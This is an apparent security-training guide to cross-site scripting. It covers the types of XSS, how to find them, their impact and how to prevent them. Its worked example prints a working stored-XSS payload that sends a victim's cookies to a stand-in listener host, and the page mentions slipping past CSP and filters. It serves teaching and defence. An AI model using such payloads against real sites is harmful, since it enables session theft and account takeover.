Client-side
Cross-Site Scripting (XSS): The Complete Practical Guide
What XSS is, how to find and exploit it (reflected, stored, DOM-based), its real impact, and how to prevent it. With free labs to practice on.
Published

Cross-site scripting is what happens when a site takes your input and lets the browser treat it as code instead of content. Get that wrong in the right spot and your text stops being a comment or a search term and becomes JavaScript that runs inside the victim's session, as the trusted site, with all of their access. That is the one thing to hold onto up front: XSS is a client-side execution bug. Unlike injection bugs that run on the server, XSS runs in someone else's browser, which is exactly why it reads their data and acts as them. Want to feel it rather than read about it? Sign up free and try it on a live target.
What is cross-site scripting?
A page is built from code (the HTML and JavaScript the developer wrote) and content (the values that get slotted into it, like a username or a search term). The browser is supposed to render your content as inert text, never as part of the page's code.
XSS is the failure of that boundary. When your input lands in the page without being encoded for where it lands, you can break out of the content position and have the browser parse your input as markup or script. The one-sentence model: your input became part of the page's code, not its content. Once that happens, your JavaScript runs in the site's origin, which is the whole game.
Why XSS matters
Script running in the victim's session can do anything the victim can do:
- Session and cookie theft: read a non-HttpOnly cookie and ship it to a server you control.
- Acting as the victim: call privileged endpoints from their browser, with their cookies attached, even when the cookie itself is out of reach.
- Account takeover: change the victim's email or password through their own authenticated session.
- Credential harvesting: inject a fake login prompt and collect what they type.
- Keylogging and page tampering: watch input, rewrite the page, redirect to a phishing clone.
- Pivoting to admin and worming: stored payloads fire for every viewer, including moderators, and can propagate from user to user.
That range, from a leaked cookie to administrator takeover, is why XSS stays near the top of the client-side checklist.
The three types
How a payload reaches the victim splits XSS into three kinds.
- Reflected XSS is echoed back in the immediate response to a request you craft, so it needs a victim to open your link.
- Stored XSS is persisted by the app (a comment, a profile, a support ticket) and served to everyone who views it, so it fires without a click and often hits privileged viewers.
- DOM-based XSS lives entirely in client-side JavaScript. The server never sees the payload, so server-side encoding does nothing. The bug is a script reading an attacker-controlled source and writing it to a dangerous sink.
Where XSS lives: contexts
The same payload can be harmless in one place and fatal in another. A string sitting in the HTML body needs a new tag to execute, a string inside an attribute needs you to break out of the quotes or add an event handler, and a string inside a <script> block needs you to close the JavaScript statement. Picking the right break-out for the context is the core skill, and it is covered in XSS contexts with a quick-reference in the cheat sheet.
How to find XSS
The method is the same whatever the type:
- Inject a unique, harmless marker (something like
xss1234) into every parameter, field, header, and fragment. - Find where it comes back in the response or the DOM.
- Look at the exact context it landed in and check whether the characters you need (
<,>,",') survived or got encoded. - Escalate the marker to a payload that fits that context and fires.
Test everything, not just search boxes: form fields, URL parameters, JSON bodies, headers, and the URL fragment for DOM bugs. When your payload never shows up in a response you can see, it may still be firing somewhere you cannot, like an admin dashboard, which is blind XSS.
Turning a popup into an attack
alert(1) only proves execution. Real impact starts after that: exfiltrating the cookie, reading a CSRF token out of the DOM and calling a state-changing endpoint, submitting an email-change request from the victim's session, or seeding a payload that fires when an administrator opens your record. Exploiting XSS walks the jump from proof to takeover.
A worked example
Say a support portal lets you file a ticket with a free-text body, and staff read tickets in an internal queue. You submit a ticket whose body is the marker zz9. Opening your own ticket, you view source and find zz9 sitting unencoded right in the HTML body of the page.
That tells you the context: HTML body, no encoding. A new tag will execute. You file a second ticket with <img src=x onerror="new Image().src='//listener.example/?c='+encodeURIComponent(document.cookie)">. The broken image fires onerror, which reads the page's cookies and sends them to your listener as a query string. Nothing happens in your own session that matters, but when a staff member opens the ticket in the internal queue, their browser runs your script and their session cookie lands in your logs. That is the loop on every target: find the reflection, identify the context, break out, then turn execution into impact.
Defenses attackers must beat
Real apps do not sit still. You will run into output encoding that neutralizes your characters, a Content Security Policy that blocks inline script, framework auto-escaping, and filters or WAFs that strip tags and keywords. Each of those has gaps, and the spokes above cover how to probe and slip past them. The flip side, how to actually close the bug rather than paper over it, is preventing XSS: context-aware output encoding, a strict CSP, Trusted Types, and HttpOnly cookies.
Where to go next
Work through the cluster in order, or jump to what you need. Start with reflected XSS for the simplest case, then stored XSS for impact and DOM-based XSS for the client-side mindset. When you want every payload in one place, the XSS cheat sheet has them. And when you are ready to break something real, sign up free and start hacking.